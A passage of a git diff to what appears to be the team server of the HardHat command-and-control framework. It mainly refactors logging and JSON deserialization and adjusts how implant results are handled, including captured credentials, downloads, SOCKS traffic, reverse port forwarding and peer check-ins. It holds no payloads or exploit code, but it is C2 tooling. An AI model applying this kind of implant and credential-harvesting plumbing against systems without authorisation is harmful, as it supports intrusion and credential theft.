LoggingService.TaskLogger.ForContext("Task", result, true).ForContext("Task Result",ResultValue).Information($"Got response for task {result.Id}");
}
}
diff --git a/TeamServer/Services/HardHatHub.cs b/TeamServer/Services/HardHatHub.cs
index 31032721..bf1b1560 100644
--- a/TeamServer/Services/HardHatHub.cs
+++ b/TeamServer/Services/HardHatHub.cs
@@ -149,7 +149,12 @@ public async Task CreateReconCenterProperty(string entityName, ReconCent
{
DatabaseService.ConnectDb();
}
- ReconCenterEntity_DAO entityToUpdate = DatabaseService.AsyncConnection.Table().Where(x => x.Name == entityName).ToListAsync().Result[0];
+ //var tempList = DatabaseService.AsyncConnection.Table().Where(x => x.Name == entityName).ToListAsync();
+ //foreach (var item in tempList.Result)
+ //{
+ // Console.WriteLine(item.Name);
+ //}
+ ReconCenterEntity_DAO entityToUpdate = DatabaseService.AsyncConnection.Table().Where(x => x.Name == entityName).ToListAsync().Result.FirstOrDefault();
//we do this so the list can grow otherwise we would only be able to store one property in the database
List entitiesProperties = entityToUpdate.Properties.ProDeserializeForDatabase>();
entitiesProperties.Add(reconCenterProperty);
diff --git a/TeamServer/Services/LoggingService.cs b/TeamServer/Services/LoggingService.cs
index 98a948d7..40b003b1 100644
--- a/TeamServer/Services/LoggingService.cs
+++ b/TeamServer/Services/LoggingService.cs
@@ -1,15 +1,23 @@
using Microsoft.AspNetCore.Routing.Constraints;
+using Microsoft.AspNetCore.Routing.Template;
using Newtonsoft.Json.Linq;
+using Newtonsoft.Json;
using Serilog;
using Serilog.Core;
using Serilog.Events;
using Serilog.Expressions;
+using Serilog.Formatting;
using Serilog.Formatting.Json;
using Serilog.Templates;
+using Serilog.Parsing;
using System;
using System.IO;
using System.Reflection;
+using System.Text.Json;
using TeamServer.Services.Extra;
+using System.Text;
+using Serilog.Sinks.File;
+using Microsoft.Extensions.Logging;
namespace TeamServer.Services
{
@@ -38,12 +46,17 @@ public static void Init()
logDirectory = Directory.CreateDirectory(pathSplit[0] + "logs");
}
LogFolderPath = pathSplit[0] + "logs";
- EventLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate(
- "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions ),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Event_log.json").CreateLogger();
-
-
- TaskLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate(
- "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions), $"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Task_log.json").CreateLogger();
+ //EventLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate(
+ // "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions ),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Event_log.json").CreateLogger();
+
+
+ //TaskLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate(
+ // "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions), $"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Task_log.json").CreateLogger();
+
+ var expressionTemplate = new ExpressionTemplate("{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions);
+
+ EventLogger = new LoggerConfiguration().WriteTo.File(new IndentedJsonTextFormatter(expressionTemplate),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Event_log.json").CreateLogger();
+ TaskLogger = new LoggerConfiguration().WriteTo.File(new IndentedJsonTextFormatter(expressionTemplate),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Task_log.json").CreateLogger();
EventLogger.Information("Logging Service Started");
TaskLogger.Information("Logging Service Started");
@@ -80,8 +93,27 @@ public static void ToPretty()
File.WriteAllText($"{filename}_pretty.json", prettyJson);
}
}
+ }
+
+ public class IndentedJsonTextFormatter : ITextFormatter
+ {
+ private readonly ExpressionTemplate _expressionTemplate;
+ public IndentedJsonTextFormatter(ExpressionTemplate expressionTemplate)
+ {
+ _expressionTemplate = expressionTemplate;
+ }
+ public void Format(LogEvent logEvent, TextWriter output)
+ {
+ using (var stringWriter = new StringWriter())
+ {
+ _expressionTemplate.Format(logEvent, stringWriter);
+ var json = JObject.Parse(stringWriter.ToString());
+ output.WriteLine(json.ToString(Formatting.Indented));
+ }
+ }
}
+
}
diff --git a/TeamServer/Utilities/Engineer_TaskPostProcess.cs b/TeamServer/Utilities/Engineer_TaskPostProcess.cs
index 8fdaaf2e..ed6c0b4b 100644
--- a/TeamServer/Utilities/Engineer_TaskPostProcess.cs
+++ b/TeamServer/Utilities/Engineer_TaskPostProcess.cs
@@ -9,6 +9,7 @@
using System.Text;
using System.Threading.Tasks;
using TeamServer.Models;
+using TeamServer.Models.Engineers.TaskResultTypes;
using TeamServer.Models.Extras;
using TeamServer.Services;
using TeamServer.Services.Handle_Implants;
@@ -28,7 +29,7 @@ public static async Task PostProcess_CredTask(EngineerTaskResult result)
{
var CredsList = new List();
- var capturedCreds = CapturedCredential.ParseCredentials(result.Result.Deserialize());
+ var capturedCreds = CapturedCredential.ParseCredentials(result.Result.Deserialize().Message);
// for each credential in the list of captured credentials convert it to a Cred object, where CapturedCredential.Type is the Cred.Type and the Cred.Value is either the CapturedCredential Hash,Password, or ticket depending on type
foreach (var cred in capturedCreds)
{
@@ -68,7 +69,7 @@ public static async Task PostProcess_DownloadTask(EngineerTaskResult result,stri
List parts = new List();
//take result.Results, find each occureance of PARTS and everything before that until the next occurance of PARTS and add it to the parts list
- var partTest = result.Result.Deserialize();
+ var partTest = result.Result.Deserialize().Message;
while (partTest.Contains("PARTS"))
{
var partIndex = partTest.IndexOf("PARTS");
@@ -141,7 +142,7 @@ public static async Task PostProcess_SocksTask(EngineerTaskResult result)
//if result.Id is socksConnected then split the incoming result string into an array and element 1 is the client unique string and we need to update the Proxy.SocksDestinationConnected
if (result.Command.Equals("SocksConnect", StringComparison.CurrentCultureIgnoreCase))
{
- string resultString = result.Result.Deserialize();
+ string resultString = result.Result.Deserialize().Message;
var socksConnected = resultString.Split(new[] { "\n" }, StringSplitOptions.None);
//element 1 in the array matches a key in the SocksDestinationConnected dictionary update the value to true
//find the Proxy item in the HttpmanagerController dictionary that matches the socksConnected[1] key
@@ -155,7 +156,7 @@ public static async Task PostProcess_SocksTask(EngineerTaskResult result)
else if (result.Command.Equals("socksReceive", StringComparison.CurrentCultureIgnoreCase))
{
var socks_client_length = BitConverter.ToInt32(result.Result.Take(4).ToArray());
- var socks_client = result.Result.Skip(4).Take(socks_client_length).ToArray().Deserialize();
+ var socks_client = result.Result.Skip(4).Take(socks_client_length).ToArray().Deserialize().Message;
var socks_content = result.Result.Skip(4 + socks_client_length).Take(result.Result.Length - (4 + socks_client_length)).ToArray();
//Console.WriteLine($"teamserver received {socks_content.Length} bytes from {socks_client}");
@@ -176,7 +177,7 @@ public static async Task PostPorcess_RPortForward(EngineerTaskResult result)
//if result.Id is rportsend take the result.Result and split it at the new line and element 0 is the data and element 1 is the guid
if (result.Id.Equals("rportsend", StringComparison.CurrentCultureIgnoreCase))
{
- var split = result.Result.Deserialize().Split(new[] { "\n" }, StringSplitOptions.None);
+ var split = result.Result.Deserialize().Message.Split(new[] { "\n" }, StringSplitOptions.None);
byte[] temp = Convert.FromBase64String(split[0]); //split 0 is the data split 1 is the guid
string client = split[1];
//Console.WriteLine($"teamserver received {temp.Length} bytes from {client}");
@@ -187,7 +188,7 @@ public static async Task PostPorcess_RPortForward(EngineerTaskResult result)
public static async Task PostProcess_P2PFirstCheckIn(EngineerTaskResult result, Engineer HttpEng)
{
- string[] resultArray = result.Result.Deserialize().Split('\n');
+ string[] resultArray = result.Result.Deserialize().Message.Split('\n');
//this is the metadata stored in the result string from the p2p implant
string Base64Metadata = resultArray[0];
string parentId = resultArray[1];
diff --git a/TeamServer/Utilities/Seralization.cs b/TeamServer/Utilities/Seralization.cs
index edd68e27..d372ef0f 100644
--- a/TeamServer/Utilities/Seralization.cs
+++ b/TeamServer/Utilities/Seralization.cs
@@ -71,10 +71,35 @@ public static byte[] ProSerialiseForDatabase(this T data)
public static T Deserialize(this byte[] data)
{
+ string json = null;
try
{
- //Console.WriteLine(Encoding.UTF8.GetString(data));
- return JsonSerializer.Deserialize(data);
+ json = Encoding.UTF8.GetString(data);
+ //Console.WriteLine(json);
+ if (data.Length > 0)
+ {
+ if (IsValidJson(json))
+ {
+ JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions();
+ jsonSerializerOptions.AllowTrailingCommas = true;
+ return JsonSerializer.Deserialize(data, jsonSerializerOptions);
+ }
+ else if (typeof(T) == typeof(string))
+ {
+ //json.Trim('"');
+ return (T)(object)json;
+ }
+ else
+ {
+ Console.WriteLine("Input data is not a valid JSON & is not a normal string, returning default value");
+ return default(T);
+ }
+ }
+ else
+ {
+ return default(T);
+ }
+
}
catch (Exception ex)
{
@@ -85,6 +110,19 @@ public static T Deserialize(this byte[] data)
}
}
+ private static bool IsValidJson(string json)
+ {
+ try
+ {
+ using var doc = JsonDocument.Parse(json);
+ return true;
+ }
+ catch
+ {
+ return false;
+ }
+ }
+
public static T ProDeserializeForDatabase(this byte[] data)
{
try